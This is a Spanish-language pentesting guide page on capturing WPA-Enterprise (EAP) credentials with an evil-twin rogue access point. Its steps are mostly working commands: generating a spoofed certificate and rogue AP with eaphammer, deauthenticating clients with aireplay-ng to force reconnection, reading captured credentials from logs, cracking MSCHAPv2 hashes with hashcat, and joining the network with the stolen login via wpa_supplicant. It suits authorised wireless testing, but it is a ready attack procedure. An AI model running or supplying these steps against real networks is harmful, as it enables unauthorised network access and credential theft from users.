Captura de credenciales

Al hecho de crear un AP falso con el mismo nombre que el AP objetivo, se le dan diferentes nombres:

  • AP falso.

  • Fake AP.

  • Rogue AP.

  • Evil Twin.

Solo funciona si se da alguna de las siguiente condiciones:

  • El cliente usa usuario y contraseña para realizar la autenticación.

  • El cliente no verifica el certificado del servidor con una CA conocida.

En adelante, se detallan los pasos

1

Generar un certificado falso

En este punto se puede aprovechar la información enumerada del certificado para que se parezca lo máximo posible al legítimo. Si no se hubiera podido obtener información, se intentaría usar la información más cercana al contexto de la red objetivo.

python 3 ./eaphammer --cert-wizard
2

Levantar el AP falso

Se levanta el AP usando una configuración similar al AP original que se quiere suplantar.

python3 ./eaphammer -i wlan1 --auth wpa-eap --essid <ESSID>
3

Captura de paquetes

Se usa airodump para identificar los AP y clientes conectados al AP objetivo.

4

Recibir autenticación

Para recibir el intento de autenticación se pueden hacer dos cosas:

  • Esperar a que un cliente se conecte.

  • Deautenticar a usuarios que estén conectados al AP, para forzar la reconexión.

# Deautenticación
aireplay-ng -0 0 -a <BSSID del AP> -C <STATION> wlan0

Para asegurar que en el fakeAP se reciba la autenticación, se puede hacer el ataque de deautenticación a la vez en todos los AP asociados al ESSID de la red wifi objetivo.

5

Recibir credenciales

  • Por terminal en la salida de la herramienta.

  • En los logs de eaphammer:

cat logs/hostapd-eaphammer.log
6

Cracking de hashes

hashcat -a 0 -m 5500 user.hc5500 <wordlist> --force
7

Conexión con las credenciales

Se crea un fichero de configuración ('netauth_user.conf') insertando una de las credenciales comprometidas:

network={
    ssid="<ESSID>"
    scan_ssid=1
    key_mgmt=WPA-EAP
    eap=PEAP
    anonymous_identity="DOMINIO\anonymous"
    identity="DOMINIO\user"
    password="pass1234"
    phase1="peapver=1"
    phase2="MSCHAPV2"
}

Conexión:

wpa_supplicant -i wlan0 -c netauth_user.conf

Se pide IP:

sudo dhclient -v wlan0

Última actualización